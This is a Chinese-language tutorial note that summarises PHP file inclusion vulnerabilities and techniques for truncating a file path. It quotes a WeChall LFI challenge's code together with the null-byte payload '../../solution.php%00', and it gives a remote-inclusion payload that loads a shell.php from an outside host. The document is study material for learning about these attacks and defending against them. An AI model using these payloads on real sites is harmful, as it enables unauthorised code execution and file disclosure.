PHP文件操作漏洞总结

0x01 文件包含漏洞

include()include_once()require()require_once()均有可能造成文件包含漏洞,其中前两者在遇到错误时仍会向下执行,而后两者在报错后直接退出程序。

当执行者四个函数时,可无视文件类型,直接当作php脚本来执行。(只要能让php 解析器识别出来是php代码文本就成)。

文件包含截断

有些包含可能文件路径里设置了前后缀不可控,这时候需要截断。其中前缀主要采用url编码,绕过对../的限制,后缀主要采用截断的方式。

00截断

(C语言中一些字符串处理时,用0字节()作为字符串结束符?)

00截断需要满足两个条件:

  • php版本小于5.3.4
  • magic_quotes_gpc=off

如wechall上的这道LFI

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
###############################
### Here is your exploit :) ###
###############################
$code = '$filename = \'pages/\'.(isset($_GET["file"])?$_GET["file"]:"welcome").\'.html\';';
$code_emulate_pnb = '$filename = Common::substrUntil($filename, "\\0");'; # Emulate Poison Null Byte for PHP>=5.3.4
$code2 = 'include $filename;';
### End of exploit ###
...
if (lfiIsSafeDir($filename) === true) { eval($code2); } # Eval the second line, when safe.
...
function lfiIsSafeDir($filename)
{
$valid = array(
'pages',
'pages/../..',
'pages/..',
);
$d = dirname($filename);
return in_array($d, $valid, true);
}

虽然我觉得这并不是一个太好的例子...这里比较奇葩,在$filename=pages/[可控].html,soultion.php和index.php差了一层,然而构造的时候内部又拼接了一层pages所以payload:

1
../../solution.php%00

./截断

"."或者 "/"截断,在一定的长度时将被截断。win系统和nix

  • 目录字符串, windows下256个字节,Linux下4096个字节回答道最大值。最大长度之后的字符将被丢弃。

伪截断

远程包含里,URL里"?"或者"#"号后为参数不为资源一部分。如提交“action=http://www.penlab.me/shell.php?”,这里的“?”实现了伪截断。


0x02 总结

文件包含拿的是“脚本”,文件读取拿的是“数据”,因此不具有执行权。如果统一看作"资源",那么这些资源又可以分为远程和本地,其中本地资源通过路径来访问,而远程的需要使用URL来访问之。远程文件包含需要开启allow_url_include = On(>=5.2 Off)和allow_url_fopen=On(默认On)。